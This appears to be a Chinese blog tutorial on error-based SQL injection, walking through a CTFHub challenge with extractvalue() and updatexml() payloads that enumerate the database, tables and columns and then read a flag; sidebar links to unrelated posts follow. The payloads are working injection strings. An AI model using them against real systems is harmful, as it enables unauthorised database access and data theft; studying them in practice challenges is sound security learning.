当前位置:网站首页>SQL报错注入1
SQL报错注入1
2022-06-11 17:46:00 【榴莲 蛋挞】
当输入语句出现错误时,会将相应错误输出到前端。SQL报错注入是基于这个条件进行。
常用报错函数:updatexml(),extractvalue(),floor(),exp()
其中extractvalue()用法是
extractvalue(xml_str,Xpath),是从xml中查询Xpath格式的字符串,并返回结果
但是,Xpath不能是结合~或#的字符串,否则会报错,报错会将整个错误的整个字符串都回显出来,因此可以利用报错回显找到想要的信息(xml_str可以随意填写),比如,ctfhub这题CTFHub

输入:
1 and extractvalue(1,concat(0x7e,database()))#得到当前所属数据库为sqli

再查找当前数据库中包含的表格:
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')))#得到结果
可知sqli数据库中,除了表news,还有表flag,
查找表中字段:
1 and extractvalue(2,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')))#得到:

可知表格flag中只有字段flag
于是输入:
1 and extractvalue(1,concat(0x7e,(select flag from flag)))#得到结果:

要注意的是,xpath回显上限32位
对于updatexml()函数,其格式是updatexml(xml,Xpath,news),是查找并替换xml文档中Xpath格式的字符串为news格式,其中Xpath的利用与extractvalue类似,因此注入方法只是多了一个可以内容随意的news的输入,例如对于以上题目,输入:
1 and updatexml(1,concat(0x7e,(select flag from flag)),1)#就能得到结果:
边栏推荐
- 6-8 creating and traversing linked lists
- 6-7 file read / write operation
- Bracket generation ---2022/02/25
- Tle6389-2g V50's unique pwm/pfm control scheme has a duty cycle of up to 100%, forming a very low differential pressure - keshijin mall
- Service学习笔记04- 其他服务实现方式与替代方式
- There are three standards and three methods, i.e. fast growth and quick realization. How to choose the direction for making short videos of we media?
- 【MapReduce】一个完整MR程序案例教你如何用IDEA打包及运行
- Spring 2021 daily question [week6 not finished]
- Common shortcut keys for Hello go (x) and GoLand
- Tidb unsafe recover (tikv downtime is greater than or equal to half the number of replicas)
猜你喜欢

【先收藏,早晚用得到】49个Flink高频面试题系列(一)
![Intelligent overall legend, legend of wiring, security, radio conference, television, building, fire protection and electrical diagram [transferred from wechat official account weak current classroom]](/img/c7/2f4bdad149f547c1f651ed4bf93dee.png)
Intelligent overall legend, legend of wiring, security, radio conference, television, building, fire protection and electrical diagram [transferred from wechat official account weak current classroom]

網絡安全威脅情報體系
![Codeworks round 479 (Div. 3) [done]](/img/a0/f3c6989d8f755c03076b237514ee64.jpg)
Codeworks round 479 (Div. 3) [done]

括号生成---2022/02/25

【C】 Compilation preprocessing and environment

Chorus翻译

threejs利用indexeddb缓存加载glb模型

Kubernetes deploys elk and collects container logs using filebeat

Chorus translation
随机推荐
Getting started with Wireshark
Tle6288r is a 6-channel (150 MOhm) intelligent multi-channel switch using intelligent power technology - keshijin mall
upload-labs通关未半而中道崩殂
[collect first and use it sooner or later] 100 Flink high-frequency interview questions series (II)
Common shortcut keys for Hello go (x) and GoLand
R语言 mice包 Error in terms.formula(tmp, simplify = TRUE) : ExtractVars里的模型公式不对
6-3 reading articles (*)
網絡安全威脅情報體系
After class, I looked at the document and went back to the lab. I picked up the forgotten SQL operators again
MFSR:一种新的推荐系统多级模糊相似度量
安装mariadb 10.5.7(tar包安装)
Global and Chinese market of web content management software 2022-2028: Research Report on technology, participants, trends, market size and share
Speed adjustment of tidb DDL
【深度学习基础】神经网络的学习(3)
【C】 Compilation preprocessing and environment
Line up to pick up the express. At this meeting, I sorted out all kinds of code sets
[MapReduce] a complete Mr program case teaches you how to package and run with idea
[foundation of deep learning] learning of neural network (3)
Rtsp/onvif protocol easynvr video platform arm version cross compilation process and common error handling
任意用户密码重置的10种方式